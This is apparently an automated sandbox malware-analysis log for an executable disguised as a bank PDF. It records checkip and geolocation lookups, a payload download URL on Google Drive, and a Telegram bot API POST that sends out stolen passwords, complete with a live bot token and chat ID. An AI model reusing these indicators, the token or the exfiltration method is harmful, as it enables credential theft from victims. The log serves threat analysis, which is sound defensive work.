            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
            Source: global trafficDNS traffic detected: DNS query: drive.google.com
            Source: global trafficDNS traffic detected: DNS query: drive.usercontent.google.com
            Source: global trafficDNS traffic detected: DNS query: checkip.dyndns.org
            Source: global trafficDNS traffic detected: DNS query: reallyfreegeoip.org
            Source: global trafficDNS traffic detected: DNS query: api.telegram.org
            Source: unknownHTTP traffic detected: POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1350193db893Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035826000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003587D000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035996000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://api.telegram.org
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035826000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003587D000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035996000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035690000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.com
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035826000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003587D000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035996000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035690000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003566F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3295863557.0000000037E80000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035611000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://checkip.dyndns.org/
            Source: Bank Swift and SOA PRN0072003410853_pdf.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.00000000356A8000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://reallyfreegeoip.org
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035611000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035826000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003587D000.00000004.00000800.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035996000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.000000003576B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035996000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609811070.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609910696.0000000005149000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://apis.google.com
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274739109.00000000050D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274739109.00000000050D8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/Q
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274930088.0000000006B70000.00000004.00001000.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274739109.0000000005112000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.google.com/uc?export=download&id=1PyJRDvt6D7_BCZnQXU1sWXtj2BMpMhG2
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2660085029.0000000005184000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2630061796.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274739109.0000000005185000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2630061796.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274739109.0000000005140000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2660085029.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2660177386.0000000005149000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/%
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609811070.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2630061796.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274739109.0000000005112000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3274739109.0000000005131000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2630061796.0000000005146000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2660085029.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609910696.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2660177386.0000000005149000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/download?id=1PyJRDvt6D7_BCZnQXU1sWXtj2BMpMhG2&export=download
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2630061796.0000000005149000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://drive.usercontent.google.com/download?id=1PyJRDvt6D7_BCZnQXU1sWXtj2BMpMhG2&export=download02
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035690000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035690000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000002.3294449901.0000000035690000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.228
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609811070.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609910696.0000000005149000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ssl.gstatic.com
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609811070.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609910696.0000000005149000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://translate.google.com/translate_a/element.js
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609811070.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609910696.0000000005149000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609811070.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609910696.0000000005149000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google-analytics.com/analytics.js
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609811070.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609910696.0000000005149000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google-analytics.com;report-uri
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609811070.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609910696.0000000005149000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609811070.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609910696.0000000005149000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.googletagmanager.com
            Source: Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609811070.0000000005149000.00000004.00000020.00020000.00000000.sdmp, Bank Swift and SOA PRN0072003410853_pdf.exe, 00000004.00000003.2609910696.0000000005149000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.gstatic.com
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49942
            Source: unknownNetwork traffic detected: HTTP traffic on port 49842 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49842
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49864
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49885
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49785
            Source: unknownNetwork traffic detected: HTTP traffic on port 49922 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49961
            Source: unknownNetwork traffic detected: HTTP traffic on port 49970 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49951 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49785 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49894 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49961 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49793 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49933 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49831 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49942 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49814
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49913
            Source: unknownNetwork traffic detected: HTTP traffic on port 49885 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49933
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49831
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49874
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49951
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49851
            Source: unknownNetwork traffic detected: HTTP traffic on port 49864 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49894
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49970
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49793
            Source: unknownNetwork traffic detected: HTTP traffic on port 49814 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49874 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49913 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 49851 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49903
            Source: unknownNetwork traffic detected: HTTP traffic on port 49903 -> 443
            Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49922
            Source: unknownHTTPS traffic detected: 172.217.19.174:443 -> 192.168.2.5:49785 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 142.250.181.33:443 -> 192.168.2.5:49793 version: TLS 1.2
            Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.5:49831 version: TLS 1.2
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_004052D3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_004052D3

            System Summary

            barindex
            Source: initial sampleStatic PE information: Filename: Bank Swift and SOA PRN0072003410853_pdf.exe
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,0_2_0040335A
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_0040335A EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,4_2_0040335A
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeFile created: C:\Windows\resources\0809Jump to behavior
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_00404B100_2_00404B10
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 0_2_0040653F0_2_0040653F
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_00404B104_2_00404B10
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_0040653F4_2_0040653F
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_000D60E04_2_000D60E0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_000D43284_2_000D4328
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_000DE6A84_2_000DE6A8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_000D8DA04_2_000D8DA0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_000DE69F4_2_000DE69F
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_000D2DD14_2_000D2DD1
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787AF804_2_3787AF80
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787F3F84_2_3787F3F8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37875B284_2_37875B28
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787A9284_2_3787A928
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378716084_2_37871608
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378751804_2_37875180
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787D7884_2_3787D788
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787EF904_2_3787EF90
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787EFA04_2_3787EFA0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378797B94_2_378797B9
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787C1C04_2_3787C1C0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378797C84_2_378797C8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787C1D04_2_3787C1D0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378715FB4_2_378715FB
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378759084_2_37875908
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787A9194_2_3787A919
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787D3214_2_3787D321
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787D3304_2_3787D330
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787EB3B4_2_3787EB3B
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787EB484_2_3787EB48
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378793614_2_37879361
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787BD684_2_3787BD68
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378793704_2_37879370
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787AF704_2_3787AF70
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787BD784_2_3787BD78
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787CA804_2_3787CA80
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787A4C04_2_3787A4C0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787CEC84_2_3787CEC8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787A4D04_2_3787A4D0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787CED84_2_3787CED8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787E6F04_2_3787E6F0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378760FE4_2_378760FE
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787E60B4_2_3787E60B
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37879C114_2_37879C11
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787C6184_2_3787C618
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37879C204_2_37879C20
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787C6284_2_3787C628
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787F8434_2_3787F843
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787F8504_2_3787F850
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787A0684_2_3787A068
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787CA704_2_3787CA70
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_3787A0784_2_3787A078
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378977F04_2_378977F0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378995684_2_37899568
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378984904_2_37898490
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378971A84_2_378971A8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378961304_2_37896130
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_37897E404_2_37897E40
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378998D04_2_378998D0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378977E04_2_378977E0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378946EA4_2_378946EA
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378946F84_2_378946F8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378956324_2_37895632
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378935884_2_37893588
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378935984_2_37893598
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378915EF4_2_378915EF
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378915F84_2_378915F8
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378904884_2_37890488
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378984814_2_37898481
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378904984_2_37890498
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378923004_2_37892300
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378942994_2_37894299
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378942A04_2_378942A0
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378922F34_2_378922F3
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378911904_2_37891190
            Source: C:\Users\user\Desktop\Bank Swift and SOA PRN0072003410853_pdf.exeCode function: 4_2_378911A04_2_378911A0
